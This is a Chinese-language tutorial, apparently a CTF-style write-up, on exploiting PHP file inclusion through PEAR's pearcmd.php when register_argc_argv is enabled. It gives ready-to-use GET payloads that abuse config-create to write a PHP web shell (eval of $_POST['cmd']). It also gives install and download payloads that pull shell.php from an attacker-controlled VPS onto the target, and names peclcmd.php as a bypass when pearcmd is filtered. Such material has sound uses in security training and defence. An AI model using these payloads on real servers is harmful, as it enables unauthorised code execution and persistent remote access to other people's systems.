基础知识
pearcmd.php
PEAR是是 PHP 的扩展与应用库仓库(PHP Extension and Application Repository),提供了大量可复用的 PHP 库和工具,方便开发者安装和管理第三方 PHP 资源。而 pearcmd.php 是 pear 工具的核心执行文件,是具体实现 pear 功能的脚本。当用户在命令行中使用 pear 命令(如安装、更新扩展)时,实际上是通过调用 pearcmd.php 来完成相关操作的。(PEAR的使用前提register_argc_argv必须开启)
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
在docker任意版本的镜像中,pcel/pear都会默认安装,而路径则是:
/user/local/lib/php
我们如果要利用pear.cmd的话,首先肯定是题目存在文件包含漏洞 ,或者说文件包含利用点,然后就是和oearcmd最相关的一个配置项:register_argc_argv必须设置为on,再然后的条件就是我们需要确定pearcmd.php的位置,通常都是/usr/local/lib/php
register_argc_argv
这个配置简述一下就是:
根据RFC3875的规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。也就是说,可以通过特殊的方式实现在web服务器下使用http协议传递命令行参数,换句话说就是我们可以通过GET传参使用系统命令(可以调用pear命令)。
query-string 是 URL 中 ? 后面的部分,例如:
(1)在 URL http://example.com/search?keyword=php&page=1 中,keyword=php&page=1 就是 query-string。
(2)它通常由一组 键=值 对组成,不同键值对之间用 & 分隔(如 key1=val1&key2=val2)。
在命令行模式下和docker中这个参数是默认开启的,而在web服务器下又是关闭的
当我们开启了这个配置时,用户的输入将会被赋予给$argc、$argv、$_SERVER[‘argv’]几个变量。
这个配置一定要打开,不然pear就拿不到command
这个参数开启的情况下,举一个例子:命令行参数通过:
1 | $argv |
例如:
1 | php test.php hello world |
在 PHP 里:
1 | $argv[0] = test.php |
命令
config-create
一下是一些在pear中可以利用的参数,其中config-creat肯定是用的最多的了

config-create是 PEAR 工具的一个合法命令,用途是根据一个 “模板文件” 生成 PEAR 的配置文件
这个方法有两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php
或者:
?file=/usr/local/lib/php/pearcmd.php&+config-create+/=phpinfo()?>+/tmp/test.php
完整的数据包如下:
1 | GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 |
发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>,这里写入文件的内容应该是/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>一整句话,另外,直接写入<?=@eval($_POST['cmd']);?>可能会在输出的时候重复输出很多次,可以多加一个die:
1 | <?=@eval($_POST['cmd']);die()?> |
成功写入文件后,利用文件包含漏洞包含该文件即可实现getshell
这里的加号其实就是空格经过url编码的样子,上面的payload可以拆分一下:
? +config-create+/
& file=/usr/local/lib/php/pearcmd.php
& /=phpinfo()?>+/tmp/hello.php
当然以上只是其中一种方法,这里还有install方法和download方法
install
除了上面的方法我们还可以使用install方法:
1 | pear install http://[vps]:[port]/test1.php |
这里是在vps上下载test1.php至本网站
所以,可以从外面将shell文件下载进来然后进行getshell,install有--installroot这个选项可以指定他的安装目录,这里可以构造payload远程下载我们的文件了
payload如下
1 | ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php |
或
1 | /?file=/usr/local/lib/php/peclcmd.php&+install+http://vps/shell.php |
不难看出这串payload所下载的文件的保存地址在 &file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里可能会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而用户并没有权限对其进行写操作,会导致利用失败
但是,除此之外install命令还有另外一种利用的姿势,payload如下:
1 | file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[vps]/shell.php |
download
这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径
先看用法:
1 | pear download [option] [package] |
这里可以这样使用:
1 | pear download http://[vps]:[port]/test1.php |
所以payload可以构造为:
1 | /?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php |
或
1 | ?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php& |
如果pearcmd被ban怎么办
如果pearcmd关键词被ban,可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php